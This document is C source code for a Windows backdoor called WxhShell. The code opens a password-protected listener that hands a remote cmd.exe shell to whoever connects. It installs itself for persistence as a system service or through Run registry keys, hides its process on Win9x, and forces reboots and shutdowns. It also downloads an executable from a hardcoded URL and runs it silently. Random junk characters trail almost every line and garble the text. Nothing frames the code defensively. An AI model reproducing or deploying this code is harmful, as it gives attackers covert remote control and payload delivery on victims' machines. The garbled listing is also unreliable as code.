    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .!yq@Q|=u  
    if(Boot(SHUTDOWN)) +i=p5d5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RM,'o[%  
    else { Fg=v6j4W  
    closesocket(wsh); x> \Bxa8  
    ExitThread(0); p+[} Hxx=  
    } 43L|QFo  
    break; Rg&19 }BU  
    } cy3M^_5B<  
  // 获取shell \XS]N_}8>  
  case 's': { fa{@$ppx  
    CmdShell(wsh); [))JX"a  
    closesocket(wsh); R hio7C  
    ExitThread(0); O>AFF@=  
    break; .&iN(Bd  
  } ltSh'w0  
  // 退出 y]'CXCml)  
  case 'x': { .S_QQM}Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L/x(RCD  
    CloseIt(wsh); Dtt-|_EMS  
    break; yW("G-Nm  
    } <d"Gg/@a  
  // 离开 -:S IS`0s  
  case 'q': { TQJF+;%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z`s!dV]e9  
    closesocket(wsh); )%VCzye*{  
    WSACleanup(); JIxiklk  
    exit(1); gxmc|  
    break; gz61FW  
        } v[&'k\  
  } /^2CGcT(  
  } y5u\j{?Te  
HO5d%85  
  // 提示信息 yM ,VrUh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Z8l8:r-6  
} FT.@1/)  
  } Pp*}R2  
M#a&\cqC  
  return; !ZrB^?sO  
} 1[DS'S  
&{W^W8,%  
// shell模块句柄 rk,p!}FqL  
int CmdShell(SOCKET sock) 9":2"<'+  
{ V]c5 Z$Bd  
STARTUPINFO si; h|p[OecG  
ZeroMemory(&si,sizeof(si)); FkB{ SC J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GwQn;gkF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yvxl_*Ds8  
PROCESS_INFORMATION ProcessInfo; dJl^ADX[@  
char cmdline[]="cmd"; gs`> C(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *]x_,:R6Ow  
  return 0;  YqU/\f+  
} D9-Lg%  
Km*<Kfcz  
// 自身启动模式 cNj*E =~;  
int StartFromService(void) &N\[V-GP2G  
{ W-D[z#)/Y  
typedef struct e<5Y94YE  
{ 2[up+;%Y  
  DWORD ExitStatus; yr{B5z,  
  DWORD PebBaseAddress; xR908+>5  
  DWORD AffinityMask; a)9rs\Is{  
  DWORD BasePriority; ]a/'6GbR  
  ULONG UniqueProcessId; R2LK.bTVn  
  ULONG InheritedFromUniqueProcessId; m:{tgcE  
}   PROCESS_BASIC_INFORMATION; gj+3y9  
y $V[_TN  
PROCNTQSIP NtQueryInformationProcess; sX:lE^)-z  
Zq*eX\#C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s, XM9h>P4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bGv4.:)  
8R xc&`_X  
  HANDLE             hProcess; )#`H."Z  
  PROCESS_BASIC_INFORMATION pbi; Hr }k5'  
Z@J.1SaB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9$ O@`P\  
  if(NULL == hInst ) return 0; g:gB`8w?  
"l,UOv c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ls.&BHUP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )^ <3\e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &U &%ka<*  
)}-$A-p#  
  if (!NtQueryInformationProcess) return 0;  Q2\  
sR*Nq5F#9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l4ouZR  
  if(!hProcess) return 0; )|]Z>>%t  
 @E_zR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nb+m.X  
Z$;"8XUM  
  CloseHandle(hProcess); 7GZq|M_:y  
>o[|"oLO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e|'N(D}h*  
if(hProcess==NULL) return 0; ("Dv>&w9  
_V@P-Ye  
HMODULE hMod; z\.1>/Z=  
char procName[255]; _;e\:7<m  
unsigned long cbNeeded; ,7,;twKz  
?_ RYqolz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `6Hf&u<  
$']VQ4tZ  
  CloseHandle(hProcess); R^P_{_I*"  
?~F. /  
if(strstr(procName,"services")) return 1; // 以服务启动 /EFq#+6  
^7u#30,}3~  
  return 0; // 注册表启动 gfo}I2"  
} $a.u05  
/f3m)pT  
// 主模块 G) 7)]yBL  
int StartWxhshell(LPSTR lpCmdLine) =!<G!^  
{ >oqZ !V5[  
  SOCKET wsl; OE"<!oIs  
BOOL val=TRUE; E $6ejGw-  
  int port=0; p&3> `C  
  struct sockaddr_in door; ybvI?#  
I@./${o  
  if(wscfg.ws_autoins) Install(); R&So4},B  
DO^y;y>  
port=atoi(lpCmdLine); aRwnRii  
QIAR  
if(port<=0) port=wscfg.ws_port; eXzXd*$S  
R6@uM<  
  WSADATA data; lbkL yp2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rn" pKUd  
o'Y#H r)/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w0Ij'=:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <abKiXA"  
  door.sin_family = AF_INET; mJMq{6;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =`p&h}h-L  
  door.sin_port = htons(port); PDC]wZd/  
xo~g78jm7,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u!1/B4!'O  
closesocket(wsl); X8CVY0<o  
return 1; )%mAZk-*;^  
} fNoR\5}!  
%#k,6 ;m  
  if(listen(wsl,2) == INVALID_SOCKET) { y8?t-Pp]1  
closesocket(wsl); }ND'0*#  
return 1; RvW.@#EH0  
} 4vqNule  
  Wxhshell(wsl); {L9yhYw  
  WSACleanup(); (hf zM+2  
v~5<:0dL  
return 0; yXF|Sqv  
p\S8oHWe  
} 0Hcbkep9D  
e1P7 .n}  
// 以NT服务方式启动 KXe ka  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bp3L>AcVu  
{ kp`0erJqw  
DWORD   status = 0; 'F5)ACA%  
  DWORD   specificError = 0xfffffff; V2<i/6~  
o!Fl]3F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q^Inb)FeN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u^=@DO'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QS\ x{<e/  
  serviceStatus.dwWin32ExitCode     = 0; :6u~aT/  
  serviceStatus.dwServiceSpecificExitCode = 0; Y/P]5: =h  
  serviceStatus.dwCheckPoint       = 0; r}EM4\r  
  serviceStatus.dwWaitHint       = 0; oT->^4WY  
jo0Pd_W8&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7bT /KLU  
  if (hServiceStatusHandle==0) return; vlQ0gsXK  
}n95< {  
status = GetLastError(); p&5S|![\  
  if (status!=NO_ERROR) B01^oYM}  
{ 8c).8RLf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |<Bpv{]P  
    serviceStatus.dwCheckPoint       = 0; }17bV, t  
    serviceStatus.dwWaitHint       = 0; fuyl/bx}  
    serviceStatus.dwWin32ExitCode     = status; -+P7:4/  
    serviceStatus.dwServiceSpecificExitCode = specificError; mV zu~xym  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ !5f"<FCB  
    return; a#QBy P  
  } GCH[lb>IJv  
h,]+>`b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T} 8CfG_ j  
  serviceStatus.dwCheckPoint       = 0; o?dR\cxj  
  serviceStatus.dwWaitHint       = 0; q?i Cc c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oD,C<[(p  
} kY!C_kFcn  
i+AUQ0Zbf6  
// 处理NT服务事件,比如:启动、停止 .. UoyBV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;+/NjC1  
{ 3{pk5_c  
switch(fdwControl) ~ B]jV$=  
{ ?9S+Cj`  
case SERVICE_CONTROL_STOP: 8uA<G/Q;  
  serviceStatus.dwWin32ExitCode = 0; fq(5Lfe}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o^PuhVu  
  serviceStatus.dwCheckPoint   = 0; KpGUq0d@  
  serviceStatus.dwWaitHint     = 0; _BwKY#09Zp  
  { lh$CWsx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v= 8VvT 8  
  } e YDUon  
  return; B^m!t7/,  
case SERVICE_CONTROL_PAUSE: r=0j7^B#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $rTu6(i1  
  break; 4k$0CbHx0  
case SERVICE_CONTROL_CONTINUE: * gHCy4u{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l/F!Bq[*g  
  break; QQ~23TlA  
case SERVICE_CONTROL_INTERROGATE: *|poxT G  
  break; Gc^t%Ue-H)  
}; [Q:f-<nH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7m`]!*t  
} , QA9k$`  
+,wWhhvlzv  
// 标准应用程序主函数 U/5$%0)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N"~ qoJO  
{ m0C{SBn-M  
i*z0Jf["  
// 获取操作系统版本 p}BGw:=  
OsIsNt=GetOsVer(); %r P !  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _'lmCj8L  
\*J.\f  
  // 从命令行安装 ^Rk^XQCh  
  if(strpbrk(lpCmdLine,"iI")) Install();  `~h0?g  
2_.CX(kI  
  // 下载执行文件 e3pnk =u  
if(wscfg.ws_downexe) { UeNF^6sWu0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \H[Yyp4  
  WinExec(wscfg.ws_filenam,SW_HIDE); ( QKsB3X  
} :fW.-^"VP  
L,W:,i/C  
if(!OsIsNt) { `OBl:e  
// 如果时win9x,隐藏进程并且设置为注册表启动 V:8@)Hc=  
HideProc(); =G*z 5 3  
StartWxhshell(lpCmdLine); [brkx3h  
} L^x5&CCwk  
else -`g J  
  if(StartFromService()) }EP|Mb  
  // 以服务方式启动 )tCx5 9  
  StartServiceCtrlDispatcher(DispatchTable); :-U53}Iy  
else Y=|CPE%V  
  // 普通方式启动 b( 1 :w"wD  
  StartWxhshell(lpCmdLine); lm!F M`m  
p_;r%o=  
return 0; Zg2]GJP  
} "H@Fe  
&AJUY()8  
m'c#uU  
~\3l!zIq  
=========================================== wZ O@J|  
VH[l\I(h  
Gg}t-_M  
8M~u_`6  
i!tc  
Eh:yR J_8  
" X4Lsvvz%@  
dt0T t  
#include <stdio.h> PQi }Evxa  
#include <string.h> lqauk)(A0  
#include <windows.h> k}#@8n|b  
#include <winsock2.h> ^SgN(-QH  
#include <winsvc.h> 16L"^EYq  
#include <urlmon.h> k 5t{  
GG*BN<(>!  
#pragma comment (lib, "Ws2_32.lib") Ls(&HOK[p  
#pragma comment (lib, "urlmon.lib") pRb<wt7v  
["<5?!bU  
#define MAX_USER   100 // 最大客户端连接数 yX`J7O{=  
#define BUF_SOCK   200 // sock buffer L-j/R1fTvl  
#define KEY_BUFF   255 // 输入 buffer *Q0lC1GQ  
9Il'E6 J  
#define REBOOT     0   // 重启 MV9r5|3-  
#define SHUTDOWN   1   // 关机 s* @QT8%  
=1eV   
#define DEF_PORT   5000 // 监听端口 \;i G{}(  
80dSQ"y  
#define REG_LEN     16   // 注册表键长度 { qjUI  
#define SVC_LEN     80   // NT服务名长度 `..EQ BM  
V, E9Uds  
// 从dll定义API C"(_mW{@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3Sk5I%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ybC-f'0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r!CA2iK`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U-ERhm>uk  
x,}ez  
// wxhshell配置信息 nMLU-C!t  
struct WSCFG { ?U=mcdqd  
  int ws_port;         // 监听端口 t2~"B&7My  
  char ws_passstr[REG_LEN]; // 口令 JATS6-Lz`  
  int ws_autoins;       // 安装标记, 1=yes 0=no <##|311o  
  char ws_regname[REG_LEN]; // 注册表键名 !,I7 ?O  
  char ws_svcname[REG_LEN]; // 服务名 xP XoJN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CZF^Wxk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }#1U D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3/SfUfWo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '9f6ZAnYpQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X >3iYDe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N`J:^,H  
v`@5enr  
}; ;OQ#@|D  
 <WO&$&  
// default Wxhshell configuration ]r"31.w(  
struct WSCFG wscfg={DEF_PORT, cb\jrbj6  
    "xuhuanlingzhe", 0TpBSyx.  
    1, lO%MyP  
    "Wxhshell", -bv>iIC  
    "Wxhshell", c(QG4.)m  
            "WxhShell Service", y>DfM5>  
    "Wrsky Windows CmdShell Service", vx({N?  
    "Please Input Your Password: ", XYz,NpK  
  1, d/"gq}NT  
  "http://www.wrsky.com/wxhshell.exe", .CIbpV?T  
  "Wxhshell.exe" r)) $XM  
    }; A@9U;8k  
t-3v1cv"  
// 消息定义模块 !l sy&6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z'7 c^c7_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )pkhir06t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XLkL#&Ir  
char *msg_ws_ext="\n\rExit."; SS l8  
char *msg_ws_end="\n\rQuit."; @9 n #vs  
char *msg_ws_boot="\n\rReboot..."; <B|n<R<?  
char *msg_ws_poff="\n\rShutdown..."; :DS2zA  
char *msg_ws_down="\n\rSave to "; [Q2S3szbt6  
@2x0V]AI  
char *msg_ws_err="\n\rErr!"; s!8J.hD'I  
char *msg_ws_ok="\n\rOK!"; ?^+#pcX]t|  
">0/>>Ry  
char ExeFile[MAX_PATH]; z&>9 s)^-  
int nUser = 0; S!`4Bl  
HANDLE handles[MAX_USER]; eXskwV+7  
int OsIsNt; +G3nn!g l4  
eONeWY9  
SERVICE_STATUS       serviceStatus; ^.pE`l%1}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / K2.V@T  
PCV58n3  
// 函数声明 P#vv+]/  
int Install(void); @p9e:[  
int Uninstall(void); Zztt)/6*  
int DownloadFile(char *sURL, SOCKET wsh); C,sD?PcSi+  
int Boot(int flag); a}[=_vb}K  
void HideProc(void); /-G qG)PX  
int GetOsVer(void); DK#65H'  
int Wxhshell(SOCKET wsl); (hRgYwUa<  
void TalkWithClient(void *cs); Z9 ;nC zHm  
int CmdShell(SOCKET sock); #T gz,e9  
int StartFromService(void); Ee$" O 6*!  
int StartWxhshell(LPSTR lpCmdLine); fl5UY$a2-  
jm#F*F vL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d[P>jl%7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wB1-|= K1  
!}Woo$#ND  
// 数据结构和表定义 (dO'_s&M]/  
SERVICE_TABLE_ENTRY DispatchTable[] = o3\SO  
{ *_"c! eW  
{wscfg.ws_svcname, NTServiceMain}, @'F8|I 6  
{NULL, NULL} M2zos(8g  
}; 5CRc]Q #@  
WIH4Aw  
// 自我安装 \gJapx(  
int Install(void) O3<Y_I^  
{ \M'bY:  
  char svExeFile[MAX_PATH]; 4}r\E,`*X  
  HKEY key; BRSgB-Rr7  
  strcpy(svExeFile,ExeFile); b. %B;qB  
vP87{J*DE1  
// 如果是win9x系统,修改注册表设为自启动 mvL0F%\.\  
if(!OsIsNt) { P"~qio-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)6nu)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WO+?gu  
  RegCloseKey(key); DO1N`7@o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q. ,p6D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r:8]\RU  
  RegCloseKey(key); ~H yyq-  
  return 0; jV|$? Rcl%  
    } ==e#CSJq  
  } cV=_G E  
} D"( 3VIglq  
else { K#6`LL m  
tsSS31cv  
// 如果是NT以上系统,安装为系统服务 hI>rtaY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); esC\R4he  
if (schSCManager!=0) 2XecP'+m  
{ dx?njR  
  SC_HANDLE schService = CreateService b/n8UxA  
  ( Z imMjZ%4  
  schSCManager,  8H%I|fm  
  wscfg.ws_svcname, u{{xnyl?  
  wscfg.ws_svcdisp, N`|Ab(.  
  SERVICE_ALL_ACCESS, @L>NN>?SGQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }JpslY*aS  
  SERVICE_AUTO_START, G &rYz  
  SERVICE_ERROR_NORMAL, GHgEbiY:  
  svExeFile, ) R a/  
  NULL, !EmR(x  
  NULL, 2t`9_zqLw  
  NULL, 1UA~J|&gi^  
  NULL, 5(MZ%-~l  
  NULL SU#P.y18%  
  ); !>kv.`|7~  
  if (schService!=0) FOUs= E[  
  { I}G}+0geV  
  CloseServiceHandle(schService); &"j).Ogm4  
  CloseServiceHandle(schSCManager); B,m$ur#$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @<w9fzi  
  strcat(svExeFile,wscfg.ws_svcname); D-+)M8bt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D'sboOY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4pTu P /  
  RegCloseKey(key); divZJc  
  return 0; |<Dx  
    } <sWcS; x  
  } 6<Pg>Bg  
  CloseServiceHandle(schSCManager); tU2to V  
} fe9& V2Uu  
} C7 & 6rUX  
7Ae,|k  
return 1; uA/.4 b  
} I#hg(7|",  
(h>X:!  
// 自我卸载 @Jn:!8U0  
int Uninstall(void) !9<RWNKV)Y  
{ <iprPk  
  HKEY key; F+y`4>x  
5@Lxbe( q  
if(!OsIsNt) { \A\yuJ=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UE#Ni 5  
  RegDeleteValue(key,wscfg.ws_regname); GqD!W8+  
  RegCloseKey(key); 5iI3u 7Mn1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {LJ6't 8y:  
  RegDeleteValue(key,wscfg.ws_regname); .8PO7#  
  RegCloseKey(key); y>cmKE  
  return 0; [Fj#7VZK  
  } Gx*0$4xJ3  
} 8 W<)c  
} 2=,Sz1`t  
else { M^JZ]W(  
2"Uk}Yz|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 KdM>1!  
if (schSCManager!=0) [dF=1E>W_J  
{ NUnc"@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z&vms   
  if (schService!=0) #`L}.  
  { _NqT8C4C  
  if(DeleteService(schService)!=0) { ]GR q  
  CloseServiceHandle(schService); ?N?pe}  
  CloseServiceHandle(schSCManager); dUtIAh-j  
  return 0; \lakT_x  
  } wukos5  
  CloseServiceHandle(schService); lgqL)^8A  
  } [ EID27P  
  CloseServiceHandle(schSCManager); +e4<z%1  
} utl=O  
} Tl7:}X<?  
Hi" n GH  
return 1; x)wt.T?eL  
} a<"& RnG(  
iE gM ~  
// 从指定url下载文件 R}6la.mQ  
int DownloadFile(char *sURL, SOCKET wsh) xPJJ !mY  
{ $H@)hY8wA  
  HRESULT hr; H_=[~mJ  
char seps[]= "/"; <07W&`Dw  
char *token; +U)|&1oa  
char *file; Lz{T8yvZ  
char myURL[MAX_PATH]; 4-rI4A<  
char myFILE[MAX_PATH]; jLS]^|  
:h^UC~[h 3  
strcpy(myURL,sURL); kDP^[V P+  
  token=strtok(myURL,seps); BCZnF /Zo  
  while(token!=NULL) AG\ 852`1m  
  { -&D6w9w  
    file=token; St&HE:  
  token=strtok(NULL,seps); ~(L+4]  
  } m:Cx~  
:XZom+>2n  
GetCurrentDirectory(MAX_PATH,myFILE); ?[/,*Q%  
strcat(myFILE, "\\"); d4h(F,K7V  
strcat(myFILE, file); 'yRv~BA  
  send(wsh,myFILE,strlen(myFILE),0); 8PjhvU  
send(wsh,"...",3,0); bK;a V&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I"<. h'  
  if(hr==S_OK) K}3"KC  
return 0; [Q_| 6Di  
else EjE`S_i=  
return 1; .LcE^y[V  
:p)9Heu  
} ,vw`YKg  
JP@m%Yj  
// 系统电源模块 ^K8a#-  
int Boot(int flag) t\d;}@bl  
{ ~EkGG .  
  HANDLE hToken; kGiw?~t=%  
  TOKEN_PRIVILEGES tkp; 3CuoB b8  
K5rj!*x.o  
  if(OsIsNt) { ,;pX.Ob U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7:E#c"S q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }eFUw  
    tkp.PrivilegeCount = 1; Ki;5 =)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GJfNO-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Riuv@i^6K  
if(flag==REBOOT) { ,k' 6<Hw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FGhrf  
  return 0; d6 EJn/  
} U zHhU*nW  
else { v+o3r]Y6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TEZqAR]G  
  return 0;  Jiylrf`o  
} >Nl~"J|]q  
  } S%#Mu|  
  else { ;QD;5 <1  
if(flag==REBOOT) { P,=J"%a-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =C1Qo#QQ%  
  return 0; >.~k?_Of  
} xi=uXxl  
else { ,?~,"IQyi[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |sM#g1D@  
  return 0; GhA~PjZS  
} , )3+hnFY  
} vz5 RS  
xmd$Jol^  
return 1; tzJtd  
} )X$n'E  
`&7? +s  
// win9x进程隐藏模块 qZ1PC>  
void HideProc(void) yE{UV>ry  
{ i.,B 0s] Z  
O4mWsr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N Z9,9  
  if ( hKernel != NULL ) vu >@_hv  
  { m]pvJJ@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o!0a8i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ll48)P{+}V  
    FreeLibrary(hKernel); me\)JCZpb{  
  } s_kd@?=`x  
Yr0i9Qow  
return; 824%]i3  
} vtjG&0GSK  
cu|q &  
// 获取操作系统版本 y%Ah"UY  
int GetOsVer(void) h0}-1kVT^  
{ ( h,F{7  
  OSVERSIONINFO winfo; "+Rm4_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b~echOj  
  GetVersionEx(&winfo); 24l9/v'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2b1:Tt9  
  return 1; mz '8  
  else 5OE?;PJ(  
  return 0; 6Z:|"AwC2  
} .1M>KRSr,  
wt,N<L  
// 客户端句柄模块 [-a /]  
int Wxhshell(SOCKET wsl) u?/]"4  
{ ).b+S>k  
  SOCKET wsh; Zwl?*t\D  
  struct sockaddr_in client; <h0ptCB  
  DWORD myID; roQIP%h!  
#}?$mxME*  
  while(nUser<MAX_USER) qIp`'.#m  
{ > xw+2<  
  int nSize=sizeof(client); rR;Om1 -,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #y%Ao\~kG  
  if(wsh==INVALID_SOCKET) return 1; ,oe4*b}O=.  
H8U*oLlc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ E6uA}s  
if(handles[nUser]==0) ><^@1z.J  
  closesocket(wsh); ?c*d z{  
else K*[wr@)u  
  nUser++; >dY"B$A>  
  } lN" rhZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,B><la87  
k5M(Ve  
  return 0; c:5BQr '  
} 6!N&,I  
*z~Y*Q0  
// 关闭 socket E u   
void CloseIt(SOCKET wsh) FT6cOMu  
{ Oylw,*%  
closesocket(wsh); G#>X~qk()  
nUser--; t~`Ef  
ExitThread(0); 2"T&Fp<  
} .X9^A,9  
L2%P  
// 客户端请求句柄 .>e~J+oL  
void TalkWithClient(void *cs) 0fNBy^(K  
{ 3 -FNd~%  
To+{9"$,  
  SOCKET wsh=(SOCKET)cs; +Oa1FvoEA  
  char pwd[SVC_LEN]; Sl#XJ0 g  
  char cmd[KEY_BUFF]; W` V  
char chr[1]; 2o;M:+KQ)  
int i,j; Qn7e6u@V  
`,O^=HBM  
  while (nUser < MAX_USER) { M 5h U.3.L  
ORTM [cL  
if(wscfg.ws_passstr) { OZ&aTm :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) AIZE?oX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |r%P.f:y{X  
  //ZeroMemory(pwd,KEY_BUFF); '*:YC  
      i=0; Ho/5e*X  
  while(i<SVC_LEN) {  xMU)  
DzEixE-  
  // 设置超时 ^B/{  
  fd_set FdRead; wP i=+  
  struct timeval TimeOut; ?/~1z*XUW  
  FD_ZERO(&FdRead); .:0nK bW  
  FD_SET(wsh,&FdRead); ZO~N|s6B^  
  TimeOut.tv_sec=8; ]_h"2|  
  TimeOut.tv_usec=0; /T@lHxX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sC j3h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &uM?DQ`o8  
@`{UiTN X`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LYKepk  
  pwd=chr[0]; = ~yh[@R)  
  if(chr[0]==0xd || chr[0]==0xa) { dNR4h  
  pwd=0; P~&X$H%e  
  break; C`ok{SNtUy  
  } R[z6 c )  
  i++; ^t*BWJxPC  
    } +W}f0@#)<  
& 3gni4@@  
  // 如果是非法用户,关闭 socket ``={FaV~m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +MEWAW[}^  
} [|3 %~s|Sv  
_%x|,vo`(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '=r.rW5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q7;)&_'  
84k;d;  
while(1) { @!-= :<h  
6Z3v]X  
  ZeroMemory(cmd,KEY_BUFF); +VJl#sc/;  
&EMm<(.]a  
      // 自动支持客户端 telnet标准   7 9Iz,_  
  j=0; J&5|'yVX  
  while(j<KEY_BUFF) { Uc&0>_Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CyE.q^Wm  
  cmd[j]=chr[0]; ]}9EBf  
  if(chr[0]==0xa || chr[0]==0xd) { ve$P=ZuM  
  cmd[j]=0; ? in&/ZrB  
  break; =I?p(MqW  
  } 6>l-jTM  
  j++; #2pgh?  
    } )2a!EEHz  
DQ,QyV  
  // 下载文件 #xO`k1W.  
  if(strstr(cmd,"http://")) { P~~RK& +i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ys\l[$_`*  
  if(DownloadFile(cmd,wsh)) 7Kn=[2J5k'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j*P@]&e7d  
  else 2 `#|;x^<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zdY`c  
